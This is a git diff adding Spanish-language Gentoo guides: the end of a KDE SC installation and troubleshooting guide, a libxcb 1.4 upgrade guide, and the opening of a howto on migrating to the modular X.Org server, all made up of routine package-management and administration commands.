+<uri link="https://bugs.kde.org/show_bug.cgi?id=245491">Bug en Dolphin
+tooltips, corregida en la versión 4.5.1</uri>
+También hay varios fallos en la bandeja Plasma y en el área de
+notificaciones así como una regresión en KTar (kdelibs) corregida
+para la versión 4.5.1. Liberar KDE SC con bugs conocidas sólo causaría
+duplicados en bugs.kde.org.
+</note>
+
+</body>
+</section>
+<section id="snapshots">
+<title>Instalando instantáneas KDE 4.4.XX (desde el overlay kde)</title>
+<body>
+
+<p>
+Actualmente, KDE SC de la rama principal está demasiado mal,
+especialmente el módulo KDEPIM. Esto es debido a que el sistema
+del almacenamiento de kmail está siendo portado a akonadi, lo
+cual llevará su tiempo. Así, hemos decido en en la <uri
+link="meeting-logs/kde-project-meeting-summary-20100225.txt">
+reunión</uri> que no ofreceremos ninguna instantánea hasta que
+se pueda usar KDEPIM de nuevo.
+</p>
+
+</body>
+</section>
+<section id="live">
+<title>Instalando los ebuilds KDE SC live (desde el overlay kde)</title>
+<body>
+
+<warn>
+Las instantáneas KDE son <b>lo último de lo último</b>. Úselas por su cuenta
+y riesgo.
+</warn>
+
+<p>
+KDE SC es software de código abierto, y por tanto este código puede
+leerse en <uri link="http://websvn.kde.org">KDE Websvn</uri>, y
+accesible a todo el mundo a través de una cuenta anónima (anonsvn).
+Gentoo, como distro basada en código fuente, tiene la habilidad de
+ofrecer ebuilds live que obtienen el código desde la última rama o
+desde la rama principal. Actualmente ofrecemos ebuilds con versión
+4.4.9999 de la rama 4.4.
+</p>
+
+<table>
+ <tr>
+  <th>Versión Ebuild</th>
+  <th>Version KDE SC</th>
+ </tr>
+ <tr>
+  <ti>4.4.9999</ti>
+  <ti>Rama KDE 4.4</ti>
+ </tr>
+ <tr>
+  <ti>4.5.9999</ti>
+  <ti>Rama KDE 4.5</ti>
+ </tr>
+ <tr>
+  <ti>9999</ti>
+  <ti>Árbol principal KDE 4</ti>
+ </tr>
+</table>
+
+<note>
+Para minimizar los problemas, es recomendable comenzar con un entorno
+limpio. Lea más en <uri link="#cleanup">Limpiando KDE</uri>.
+</note>
+
+<note>
+Necesitará portage-2.2_rc*, así que, por favor añada la entrada
+<c>~sys-apps/portage-2.2</c> a su fichero
+<path>/etc/portage/package.unmask[/*]</path>.
+</note>
+
+<p>
+Las instantáneas están únicamente disponibles a través del overlay
+<c>kde</c>, por lo que tendrá que añadirlo:
+</p>
+
+<pre caption="Instalando el overlay kde">
+# <i>layman -f -a kde</i>
+<comment>Para más información acerca de los overlays, por favor, lea la
+<uri link="http://www.gentoo.org/proj/es/overlays/userguide.xml">
+Guía de Overlays</uri></comment>
+</pre>
+
+<p>
+Los usuarios con sistemas estables tienen que usar keywords para
+continuar. Ofecemos un fichero package.keyword en el overlay
+<c>kde</c> overlay, que tendremos que unir con un enlace
+simbólico a nuestro directorio package.keywords:
+</p>
+
+<pre caption="Creando un enlace simbólico del fichero kde-4.X.9999.keywords o kde-live">
+# <i>cd /etc/portage/package.keywords</i>
+# <i>ln -s /camino/al/overlay/kde/Documentation/package.keywords/kde-4.4.9999.keywords .</i><comment>(para la rama 4.4)</comment>
+# <i>ln -s /camino/al/overlay/kde/Documentation/package.keywords/kde-4.5.9999.keywords .</i><comment>(para la rama 4.5)</comment>
+# <i>ln -s /camino/al/overlay/kde/Documentation/package.keywords/kde-live.keywords .</i><comment>(para la rama troncal KDE)</comment>
+</pre>
+
+<p>
+La instalación puede realizarse usando metapaquetes o conjuntos.
+</p>
+
+<pre caption="Instalación de ebuilds KDE live usando metapaquetes">
+<comment>(Para la rama KDE SC 4.4)</comment>
+# <i>emerge -av kde-meta:4.4</i> <comment>(contiene todos los módulos KDE)</comment>
+# <i>emerge -av kdebase-meta:4.4 kdegames-meta:4.4</i> <comment>(instalación únicamente de los módulos elegidos)</comment>
+<comment>(Para la rama KDE SC 4.5)</comment>
+# <i>emerge -av kde-meta:4.5</i> <comment>(contiene todos los módulos KDE)</comment>
+# <i>emerge -av kdebase-meta:4.5 kdegames-meta:4.5</i> <comment>(instalación únicamente de los módulos elegidos)</comment>
+<comment>(Para la rama troncal KDE SC)</comment>
+# <i>emerge -av kde-meta:live</i> <comment>(contiene todos los módulos KDE)</comment>
+# <i>emerge -av kdebase-meta:live kdegames-meta:live</i> <comment>(instalación únicamente de los módulos elegidos)</comment>
+</pre>
+
+<pre caption="Instalación de ebuilds KDE usando conjuntos">
+<comment>(Para la rama KDE SC 4.4)</comment>
+# <i>emerge -av @kde-4.4</i> <comment>(contiene todos los módulos KDE)</comment>
+# <i>emerge -av @kdebase-4.4 @kdegames-4.4</i> <comment>(instalación únicamente de los módulos elegidos)</comment>
+<comment>(Para la rama KDE SC 4.5)</comment>
+# <i>emerge -av @kde-4.5</i> <comment>(contiene todos los módulos KDE)</comment>
+# <i>emerge -av @kdebase-4.5 @kdegames-4.5</i> <comment>(instalación únicamente de los módulos elegidos)</comment>
+<comment>(Para la rama troncal KDE SC)</comment>
+# <i>emerge -av @kde-live</i> <comment>(contiene todos los módulos KDE)</comment>
+# <i>emerge -av @kdebase-live @kdegames-live</i> <comment>(instalación únicamente de los módulos elegidos)</comment>
+<comment>Mire la sección <uri link="#sets">Usando conjuntos</uri> para más información.</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Instalación de aplicaciones KDE 4</title>
+<body>
+
+<p>
+En kde encontrará ebuilds live de aplicaciones KDE 4. Están en el slot :4,
+sin embargo <b>no se pueden</b> instalar en paralelo con las normales. Es
+libre de usar aplicaciones live KDE 4 con KDE 4 de Portage, o usar
+aplicaciones KDE 4 de Portage con su KDE live.
+</p>
+
+<note>
+Hay también definido un conjunto con las aplicaciones KDE 4,
+@kde-extras-live, en kde y un conjunto con las aplicaciones Qt live,
+@qt-extras-live, en el overlay qting-edge.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Información adicional de instalación/desinstalación</title>
+<section id="sets">
+<title>Usando conjuntos</title>
+<body>
+
+<warn>
+Portage 2.2_rcX está actualmente enmascarado. Por lo tanto, si quiere usar
+conjuntos, por favor desenmascare <c>~sys-apps/portage-2.2</c>.
+</warn>
+
+<p>
+Una de las nuevas características ofrecidas por Portage 2.2 son los
+conjuntos.
+</p>
+
+<p>
+Los conjuntos permiten al equipo KDE ofrecer un substituto completo a los
+paquete monolíticos, con el extra de que los usuarios pueden desinstalar de
+los conjuntos por defecto cualquier paquete que no deseen. Todavía tenemos
+que resolver alguna discusión antes de que podamos poner conjuntos en el
+árbol Portage. Así, puede obtener los conjuntos desde el <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=tree;f=sets">
+directorio de conjuntos</uri> del overlay <c>kde</c> o también como un <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=snapshot;h=5b2fc54fa5d1c8aeddaeb05f044bf28754bb18be;sf=tbz2">
+archivo tar.bz2</uri> y poner los que desee en
+<path>/etc/portage/sets</path> -- puede ver la lista de conjuntos ofertados
+por el equipo KDE en el overlay, usando el primer enlace.
+</p>
+
+<note>
+Si está usando el overlay kde puede usar conjuntos directamente en lugar de
+copiarlos a <path>/etc/portage/sets</path>.
+</note>
+
+<p>
+Entre otros, hay conjuntos para cada tarball de KDE - @kdeaccessibility,
+@kdeadmin, @kdeartwork, @kdebase, @kdeedu, @kdegames, @kdegraphics,
+@kdemultimedia, @kdenetwork, @kdepim, @kdesdk, @kdetoys, y
+@kdeutils. Existen también  un conjunto de conjuntos (el equivalente al
+antiguo paquete kde-meta) @kde, de igual forma para versiones específicas
+@kde-3.5 y @kde-4x, un conjunto para las dependencias de KDE, @kdedeps, un
+conjunto para paquetes opcionales @kdeoptional y un conjunto para el split
+de los paquetes qt, @qt-split.
+</p>
+
+<p>
+Se puede instalar KDE completamente ejecutando <c>emerge -av @kde</c>.
+Los comandos equivalentes para versiones específicas son muy prácticos
+para desinstalar una versión antigua, por ejemplo
+<c>emerge -C @kde-3.5</c>, o para reinstalar todos los paquetes de una
+versión específica, por ejemplo, <c>emerge -av1 @kde-4x</c>.
+Características avanzadas como eliminación de todos los paquetes no
+deseados de un conjunto, serán ofrecidas en una versión futura de
+Portage -- puede leer más sobre esto en <uri
+link="http://planet.gentoo.org/developers/genone/2008/09/29/more_extensions_to_package_set_support">
+el blog de Marius Mauch (genone)</uri>. Parte de este código ha sido
+publicado en portage-2.2_rc12, de forma que puede reinstalar todos los
+paquetes de un conjunto con <c>emerge -av @&lt;set&gt;/@installed</c> o
+tener un conjunto <path>/etc/portage/sets/kdebase-unwanted</path> y
+entonces ejecutar <c>emerge -av @kdebase-@kdebase-unwanted</c>.
+</p>
+
+<p>
+Recomendamos expresamente que instale el conjunto <c>kdebase</c> para
+obtener una sesión completa KDE. El ejemplo de abajo debería instalar el
+conjunto <c>kdebase</c> y el conjunto <c>kdegames</c>.
+</p>
+
+<pre caption="Instalando KDE SC">
+# <i>emerge @kdebase @kdegames</i>
+</pre>
+
+<note>
+Si quiere obtener la lista de conjuntos que están comprobados en Portage,
+puede ejecutar lo siguiente: <c>emerge --list-sets</c>
+</note>
+
+<note>
+Todos los ebuilds >= KDE 4.1 requieren <c>sys-apps/portage-2.1.6</c> o
+superior, ya que ha implementado todas las especificaciones EAPI 2 usadas en
+estos ebuilds (se requiere <c>>=sys-apps/portage-2.2_rc12</c> para usar
+conjuntos.
+</note>
+
+</body>
+</section>
+<section id="cleanup">
+<title>Limpiando KDE</title>
+<body>
+
+<p>
+Para minimizar los problemas, es mejor comenzar con un entorno limpio. Esto
+está recomendado en los siguientes casos:
+</p>
+
+<ul>
+ <li>Cambiando de <c>+kdeprefix</c> a <c>-kdeprefix</c> (y viceversa)</li>
+ <li>
+   Bajando la versión de KDE (p.e. de ebuils snapshots/live a la versión de
+Portage)
+ </li>
+ <li>Actualizando completamente de KDE 3 a KDE 4 (y viceversa)</li>
+ <li>Actualizando desde un overlay antiguo</li>
+</ul>
+
+<p>
+Las dos formas posibles de eliminar las instalaciones antiguas de KDE, son:
+</p>
+
+<pre caption="Comandos unmerge">
+# <i>emerge -C @kde-4.X @kdebase-4.X @kde-3.5</i>(usando los conjuntos típicos)
+# <i>emerge -C $(qfile -C -q -e /usr/kde/%PREFIX%)</i> <comment>(reemplazar %PREFIX% por su versión KDE version, p.e. 3.5, 4)</comment>
+</pre>
+
+<pre caption="Comandos unmerge (sólo aplicable si está actualizando desde un overlay)">
+# <i>cd /camino/al/overlay/</i>
+# <i>emerge -C $(find ./ -name \*.ebuild |sed -e "s:\.ebuild$::" -e "s:./::" |awk -F'/' '{print "="$1"/"$3}')</i>
+</pre>
+
+<p>
+Como paso final debería eliminar el overlay antiguo de forma que no haya
+conflictos con los ebuilds KDE. También debería eliminar los datos antiguos
+de enmascaramiento y palabras clave (keyword).
+</p>
+
+<note>
+No olvide ejecutar <c>emerge --depclean</c> para desinstalar cualquier
+paquete dependiente.
+</note>
+
+</body>
+</section>
+<section>
+<title>Reconstruyendo la base de datos de aplicaciones</title>
+<body>
+
+<p>
+Para reconstruir la base de datos de aplicaciones KDE, ejecute:
+</p>
+
+<pre caption="comando kbuildsycoca">
+# <i>kbuildsycoca4 --noincremental</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Localización/Internacionalización</title>
+<body>
+
+<p>
+Con el nuevo KDE, se ha realizado un nuevo esfuerzo a favor de la
+Localización en lugar de la Internacionalización. Esto ha causado alguna
+confusión, pero no hay que preocuparse; únicamente ha cambiado el nombre.
+</p>
+
+<pre caption="Obteniendo las traducciones">
+<comment>Para KDE 4 y KOffice 2:</comment>
+# <i>emerge kde-l10n</i>
+# <i>emerge koffice-l10n</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Migrando configuraciones de 3.5 a 4.X</title>
+<body>
+
+<p>
+KDE almacena sus ficheros de configuración en el directorio
+<path>~/.kde</path> por defecto. En los ebuilds de Gentoo, esto se ha
+cambiado para KDE 4.X, de tal forma que se permite una mejor integración de
+3.5 y 4.X cuando se usa la misma cuenta de usuario. Si exporta $KDEHOME,
+este comportamiento será ignorado. Se recomienda expresamente que no se haga
+esto. $KDEHOME hará que KDE 3.5 and 4.X usen el mismo directorio de
+configuración, lo que normalmente no es deseable.
+</p>
+
+<p>
+KDE 3.5 usa <path>~/.kde</path> y el FHS por defecto (<c>-kdeprefix</c>) KDE
+4.X usa <e>~/.kde4</e>.
+</p>
+
+<p>
+Los ajustes no son migrados por defecto. Si quiere intentar migrar sus
+ajustes debería copiar su directorio de configuración antiguo a su nuevo
+sitio antes de hacer login. Por ejemplo:
+</p>
+
+<pre caption="Copiando el directorio de configuración">
+$ <i>cp -r ~/.kde ~/.kde4</i>
+</pre>
+
+<p>
+Si tiene éxito, entonces sus ajustes deberían haberse migrado. Si no, es
+posible cerrar la sesión y eliminar el nuevo directorio de configuración
+para comenzar con un directorio de configuración limpio.
+</p>
+
+<impo>
+Volver atrás una versión desde 3.5 a 4.X no está soportado
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Algunos consejos y qué hacer en caso de problemas</title>
+<section>
+<title>Plasmoides</title>
+<body>
+
+<p>
+Los Plasmoides son las nuevas herramientas plasma que pueden mejorar la
+experiencia con su escritorio. Hay muchos plasmoides disponibles en la
+categoría kde-misc/ category. Si no encuentra su plasmoide favorito. Abra un
+informe de error, y alguien puede que lo cree. Si los quiere todos, existe
+un conjunto llamado @plasmoids que contiene todos los plasmoides disponibles
+actualmente.
+</p>
+
+<note>
+Muchos de los plasmoides están en el overlay kde.
+</note>
+
+</body>
+</section>
+<section>
+<title>Temas de Plasma</title>
+<body>
+
+<p>
+El ebuild que contiene algunos temas plasma se llama
+<c>x11-themes/plasma-themes</c>. El procedimiento para solicitar temas
+adicionales es el mismo que para los plasmoides.
+</p>
+
+</body>
+</section>
+<section>
+<title>Hacer que las aplicaciones GTK se vean como las Qt 4</title>
+<body>
+
+<p>
+El ebuild que se debe usar en caso en que se quiera que sus
+aplicaciones GTK usen un tema similar a sus aplicaciones Qt se llama
+<c>x11-themes/gtk-engines-qtcurve</c>. Además se debe instalar
+x11-themes/qtcurve-qt4 para que funcione con las aplicaciones
+Qt 4/KDE 4. Se puede configurar en:
+Ajustes de Sistema->Apariencia->Fuentes y Estilos GTK
+(System Settings->Appearance->GTK Styles and Fonts) siempre y
+cuando instale <c>kde-misc/kcm_gtk</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Protestas de Akonadi sobre la configuración MySQL</title>
+<body>
+
+<p>
+Se comienza comprobando los permisos en <path>/usr/share/config</path> y
+<path>/usr/share/kde4</path>. Si éstos son 700, necesitará actualizarlos a
+755 de forma recursiva.
+</p>
+
+<pre caption="Actualizando los permisos en /usr/share/config">
+# <i>chmod -R 755 /usr/share/{config,kde4}</i>
+</pre>
+
+<p>
+Si esto no soluciona el problema, necesitará abrir la configuración de
+akonadi y cambiar la configuración mysql por defecto. Si no tiene la bandeja
+en ejecución, ejecute <c>akonaditray</c>, seleccione la "Configuración del
+Servidor Akonadi" ("Akonadi Server Configuration"), active "Usar el servidor
+MySQL interno" ("Use internal MySQL server") y presione el botón Comprobar
+(Test). Si quiere usar el servidor mysql y no el ejecutable integrado,
+necesitará asegurarse de que mysql se encuentra en ejecución.
+</p>
+
+</body>
+</section>
+<section>
+<title>Haciendo que KDE arranque en el inicio del sistema</title>
+<body>
+
+<p>
+Hay dos formas de indicar a KDE que arranque en el inicio del sistema.
+La forma más fácil es usando KDM, que está disponible en
+<c>kde-base/kdm</c>. En primer lugar, editamos el fichero de
+configuración de Xorg, de forma que DISPLAYMANAGER esté definido como
+"kdm":
+</p>
+
+<pre caption="Editando /etc/conf.d/xdm">
+# What display manager do you use ?  [ xdm | gdm | kdm | kdm-4.3 | gpe | entran$
+# NOTE: If this is set in /etc/rc.conf, that setting will override this one.
+#
+# KDE-specific note:
+# - If you are using kdeprefix go with "kdm-4.Y", e.g. "kdm-4.3".
+#     You can find possible versions by looking at the directories in /usr/kde/.
+# - Else, if you are using KDE 3 enter "kdm-3.5"
+# - Else, if you are using KDE 4 enter "kdm" without a version
+DISPLAYMANAGER="kdm"
+</pre>
+
+<p>
+El siguiente paso es añadir xdm al nivel de ejecución por defecto:
+</p>
+
+<pre caption="Añadiendo xdm al nivel de ejecución por defecto">
+# <i>rc-update add xdm default</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Sugerencias sobre las fuentes</title>
+<body>
+
+<p>
+Si hace clic para ver el menú y ve que nada es legible, necesitará
+instalar algunas fuentes. Algunas opciones comunes son
+<c>media-fonts/corefonts</c>, <c>media-fonts/ttf-bitstream-vera</c>
+y <c>media-fonts/dejavu</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>KDM falla al arrancar</title>
+<body>
+
+<p>
+Se comienza comprobando los permisos en /usr/share/config. Si éstos son 700,
+necesitará actualizarlos a 755. Compruebe la sección anterior. Si esto no
+soluciona el problema, compruebe la siguiente notificación del ebuild kdm:
+</p>
+
+<pre caption="Notificación kdm">
+Si cuando reinicia xdm, kdm falla en el arranque con un mensaje como
+"gentoo kdm[2116]: X server startup timeout, terminating"
+en /var/log/messages, quite el comentario  a la línea ServerTimeout
+en "grep kdmrc /var/db/pkg/kde-base/kdm-4.3.1/CONTENTS | cut -f2 -d " ""
+y asegúrese de incrementar el tiempo de espera - 60 debería funcionar.
+</pre>
+
+<p>
+Compruebe también que los siguientes servicios se han arrancado:
+</p>
+
+<pre caption="Comprobando y arrancando servicios">
+# <i>/etc/init.d/dbus status</i>
+# <i>/etc/init.d/hald status</i>
+# <i>/etc/init.d/consolekit status</i>
+</pre>
+
+<p>
+Si no, actívelos reemplazando <c>status</c> con <c>start</c> y use el
+comando <c>rc-update add dbus default</c> para cada uno de ellos y serán
+añadidos al nivel de ejecución por defecto.
+</p>
+
+<p>
+Finalmente, KDM podría fallar debido a errores en
+<path>/etc/X11/xorg.conf</path>. Eche un vistazo a sus registros (logs):
+<path>/var/log/Xorg.0.log</path> y <path>/var/log/kdm.log</path> y corrija
+<path>xorg.conf</path> apropiadamente. Para ayuda adicional, nos puede
+encontrar en IRC (#gentoo-kde en Freenode).
+</p>
+
+</body>
+</section>
+<section>
+<title>El applet de la batería o notificaciones sólidas no muestra
+información relevante.</title>
+<body>
+
+<p>
+Debido a esto, necesitará tener dbus y hald en ejecución.
+</p>
+
+<pre caption="Comprobando y arrancando dbus y hald">
+# <i>/etc/init.d/dbus status</i>
+# <i>/etc/init.d/hald status</i>
+# <i>/etc/init.d/dbus start</i>
+# <i>/etc/init.d/hald start</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Perfiles de escritorio y subperfiles</title>
+<body>
+
+<p>
+Los perfiles de escritorio han sido separados en subperfiles KDE y
+GNOME. Esto significa que los ajustes USE específicos para KDE y
+GNOME han sido separados del perfil básico de escritorio y han
+sido migrados a los subperfiles. Elegir un subperfil no le
+restringe a usar únicamente el entorno de escritorio equivalente.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/x/x11/libxcb-1.4-upgrade-guide.xml b/xml/htdocs/proj/es/desktop/x/x11/libxcb-1.4-upgrade-guide.xml
new file mode 100644
index 00000000..e740348c
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/x/x11/libxcb-1.4-upgrade-guide.xml
@@ -0,0 +1,140 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/x/x11/libxcb-1.4-upgrade-guide.xml,v 1.3 2009/10/03 18:56:52 chiguire Exp $ -->
+
+<guide link="/proj/es/desktop/x/x11/libxcb-1.4-upgrade-guide.xml" lang="es">
+<title>Guía Gentoo de Actualización a libxcb 1.4</title>
+
+<author title="Autor">
+  <mail link="remi" />
+</author>
+<author title="Traductor">
+  <mail link="chiguire" />
+</author>
+
+<abstract>
+Esta guía enseña cómo actualizar de libxcb 1.1.90.2 y versiones anteriores a libxcb 1.4.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+<version>0.1</version>
+<date>2009-09-12</date>
+
+<chapter>
+<title>Actualizando a libxcb 1.4</title>
+<section>
+<body>
+
+<pre caption="Actualizando los paquetes xcb">
+# <i>emerge -1 x11-proto/xcb-proto x11-libs/libxcb</i>
+# <i>emerge -1 x11-proto/xproto x11-proto/xextproto x11-libs/libX11 x11-libs/libXext</i>
+</pre>
+
+<p>
+Ahora tenemos todos los paquetes necesarios con el soporte para la nueva libxcb.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Reparando los archivos libtool desenlazados</title>
+<section>
+<body>
+
+<p>
+Mientras que la actualización de por sí esté lista y su sistema todavía
+funcione, el instalar paquetes nuevos o actualizaciones podrían darnos
+algunas sorpresas desagradables, dados los infames archivos <c>.la</c>
+de libtool.
+</p>
+
+<p>
+El problema es que hasta hace poco, libX11 usaba una librería libxcb
+privada de nombre <c>libxcb-xlib.so</c>, creada específicamente para
+libX11. Mientras que eso de por sí no es problema, esta mínima
+librería poluía casi todos los archivos <c>.la</c> del sistema. Así
+funciona libtool.
+</p>
+
+<p>
+Ahora esto se convierte en problema ya que nuevas versiones de libxcb
+ya no proporcionan esta librería (por supuesto que se hizo la
+reparación correspondiente a libX11). Ahora necesitamos deshacernos de
+todas las referencias a esta librería en los archivos <c>.la</c>.
+</p>
+
+<p>
+Para hacer esto, ejecute
+<c>/usr/portage/x11-libs/libxcb/files/xcb-rebuilder.sh</c> para
+reparar todos los archivos <c>.la</c> del sistema.
+</p>
+
+<p>
+Esta herramienta también reportará si todavía hay librerías
+compartidas (archivos <c>.so</c>, localizados usualmente en
+<c>/lib</c> y <c>/usr/lib</c>) todavía hacen referencia a la librería
+desaparecida. Si la herramienta reporta paquetes desenlazados, por
+favor siga leyendo y si no, está de suerte, su sistema está listo :)
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Reparando librerías compartidas "desenlazadas"</title>
+<section>
+<body>
+
+<p>
+Para evitar echarle a perder los sistemas de los usuarios, hemos
+decidido mantener <c>libxcb-xlib.so</c> para reparar el sistema
+oportunamente, a su propio paso. Si siguió las instrucciones
+anteriores, el sistema debería funcionar correctamente al momento de
+construir y al ejecutar.
+</p>
+
+<p>
+Antes de poder eliminar <c>libxcb-xlib.so</c> habrá que reconstruir
+algunos paquetes. Si no lo hace, el eliminar la librería vieja
+<b>romperá</b> el sistema.
+</p>
+
+<p>
+Ejecute el siguiente guión para reconstruir un subconjunto sencillo y
+efectivo de los paquetes que hayan sido potencialmente
+desenlazados. No se preocupe acerca de la instalación de paquetes que
+no estaban instalados antes.
+</p>
+
+<pre caption="Primero la reconstrucción de paquetes esenciales">
+# <i>emerge --oneshot \
+$(for i in x11-proto/ x11-libs/libxcb x11-libs/libX11 x11-libs/libXext \
+           x11-libs/libX x11-libs/xcb-util x11-libs/cairo \
+           x11-libs/pango x11-libs/gtk+ gnome-base/libgnomeui \
+           x11-libs/qt-gui; do \
+    qlist -IC $i; \
+done) -pv</i>
+</pre>
+
+<p>
+Una vez hecho esto, use <c>revdep-rebuild</c> (del paquete
+<c>app-portage/gentoolkit</c>) para terminar de arreglar el resto del
+sistema.
+</p>
+
+<pre caption="Reconstruyendo el resto de paquetes desenlazados">
+# <i>revdep-rebuild -L libxcb-xlib.so.0</i>
+</pre>
+
+<p>
+Cuando <c>revdep-rebuild</c> ya no reporte más paquetes desenlazados,
+puede eliminar al archivo <c>libxcb-xlib.so.0</c> con seguridad del
+directorio de librerías.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/x/x11/modular-x-howto.xml b/xml/htdocs/proj/es/desktop/x/x11/modular-x-howto.xml
new file mode 100644
index 00000000..44ed5e0c
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/x/x11/modular-x-howto.xml
@@ -0,0 +1,669 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/x/x11/modular-x-howto.xml,v 1.6 2010/05/24 19:50:20 nimiux Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/desktop/x/x11/modular-x-howto.xml" lang="es">
+<title>COMO: Migrar al servidor X modular</title>
+
+<author title="Autor">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Autor">
+  <mail link="joshuabaergen@gmail.com">Joshua Baergen</mail>
+</author>
+<author title="Traductor">
+  <mail link="anpereir@gentoo.org">Andrés Pereira</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Esta guía le muestra cómo migrar al servidor X.Org modular.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1.2</version>
+<date>2006-11-05</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<title>¿Por qué modular?</title>
+<body>
+
+<p>
+Puede preguntarse, ¿por qué el simple y sencillo paquete xorg-x11 se
+convirtió en casi 300 paquetes separados? Y ciertamente tiene razón en esto.
+=) No es algo que Gentoo esté haciendo independientemente de los
+desarrolladores principales de X.Org; ellos están dividiendo todos los
+paquetes en versiones separadas y nosotros estamos siguiendo esta decisión.
+</p>
+
+<p>
+El razonamiento tras la división y cambios en el sistema de compilación tiene
+al menos tres partes:
+</p>
+
+<ul>
+  <li>
+    Para los nuevos desarrolladores es muy difícil involucrarse en X, de ahí
+    la migración a autotools, un sistema que a las personas les resulta más
+    comodo y probablemente están más contentos con él.
+  </li>
+  <li>
+    Junto a dicha migración, es posible dividir el código fuente con autotools
+    y esto también lo hace mucho más amigable para los desarrolladores.
+  </li>
+  <li>
+    Las cosas han estado innecesariamente juntas en el pasado y esto hizo
+    que la corrección de fallos fuera algo imposible. Si los desarrolladores
+    lograban corregir fallos, se requería recompilar todo X.Org. Por ejemplo,
+    un fallo en el controlador ati tendría que esperar 6 meses hasta la
+    próxima versión o bien, tendría que recompilar las fuentes, sin razón
+    alguna.
+</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migrar al servidor X modular</title>
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+Para evitar que los paquetes antiguos interrumpan en este proceso, eliminaremos
+por completo el xorg-x11 antiguo antes de instalar el servidor X modular. Esto
+no es absolutamente crucial, pero ayudará a asegurar una migración sin
+problemas.
+</p>
+
+</body>
+</section>
+<section>
+<title>Primer paso: Eliminar su antiguo servidor X</title>
+<body>
+
+<p>
+Cree una copia de seguridad del xorg-x11 monolítico pasa usarla en caso
+de que el X modular no funcione del todo bien y quiera regresar a la versión
+6.x. Puede también querer instalar un nuevo navegador modo texto como links
+o lynx para ver este howto cuando no disponga de X.
+</p>
+
+<pre caption="Respaldar el xorg-x11 antiguo">
+# <i>emerge gentoolkit</i>
+# <i>quickpkg xorg-x11</i>
+</pre>
+
+<p>
+Deshágase de la instalación monolítica. Para evitar la posibilidad de que
+su sistema deje de responder por completo, salga de la sesión X en ejecución
+antes de desinstalar X.Org.
+</p>
+
+<pre caption="Eliminar la instalación monolítica">
+# <i>emerge -Ca xorg-x11 virtual/x11</i>
+</pre>
+
+<p>
+Si su <path>/usr/X11R6</path> no es un enlace simbólico a <path>/usr</path>,
+bórrelo y empiece desde cero. Pero primero, guarde una lista de todos los
+paquetes instalados ahí. El paquete <c>gentoolkit</c> proporciona
+<c>equery</c>.
+</p>
+
+<pre caption="Hacer una lista de paquetes">
+# <i>if [[ ! -L /usr/X11R6 ]]; \
+        then equery belongs /usr/X11R6 > ~/usr-x11r6-packages \
+        &amp;&amp; rm -rf /usr/X11R6; fi</i>
+</pre>
+
+<p>
+Finalmente, si existe <path>/usr/lib/X11/xkb</path>
+(<path>/usr/lib64/X11/xkb</path> para los usuarios de sistemas de 64 bits),
+entonces debería ser eliminado. Este es un requisito para instalar el
+paquete <c>xkeyboard-config</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Segundo paso: Instalar el X modular</title>
+<body>
+
+<p>
+Para el renderizado directo, verifique que esté activo el parámetro USE
+<c>dri</c>. Debería estar activado de forma predeterminada.
+</p>
+
+<p>
+Luego, decida qué controladores necesitará instalar. Esto variará dependiendo
+de su hardware de entrada y vídeo. Si ya tiene un
+<path>/etc/X11/xorg.conf</path> funcional, entonces ejecute este comando para
+tener una idea de qué controladores necesita:
+</p>
+
+<pre caption="Encontrar qué controladores necesita">
+# <i>grep Driver /etc/X11/xorg.conf</i>
+  Driver      "kbd"
+  Driver      "mouse"
+  Driver      "radeon"
+</pre>
+
+<pre caption="Chequear los controladores disponibles">
+# <i>emerge --verbose --pretend xorg-x11</i>
+[ebuild   R   ] x11-base/xorg-x11-7.0-r1  USE="-xprint" INPUT_DEVICES="keyboard
+mouse -acecad -aiptek -calcomp -citron -digitaledge -dmc -dynapro -elo2300
+-elographics -evdev -fpit -hyperpen -jamstudio -joystick -magellan -magictouch
+-microtouch -mutouch -palmax -penmount -spaceorb -summa -synaptics% -tek4957
+-ur98 -vmmouse -void" VIDEO_CARDS="i128 mga radeon savage -apm -ark -chips
+-cirrus -cyrix -dummy -fbdev -fglrx% -glint -i740 -i810 -imstt -mach64 -neomagic
+-newport -nsc -nv -nvidia% -r128 -rendition -s3 -s3virge -siliconmotion -sis
+-sisusb -sunbw2 -suncg14 -suncg3 -suncg6 -sunffb -sunleo -suntcx -tdfx -tga
+-trident -tseng -v4l -vesa -vga -via -vmware -voodoo" 0 kB
+</pre>
+
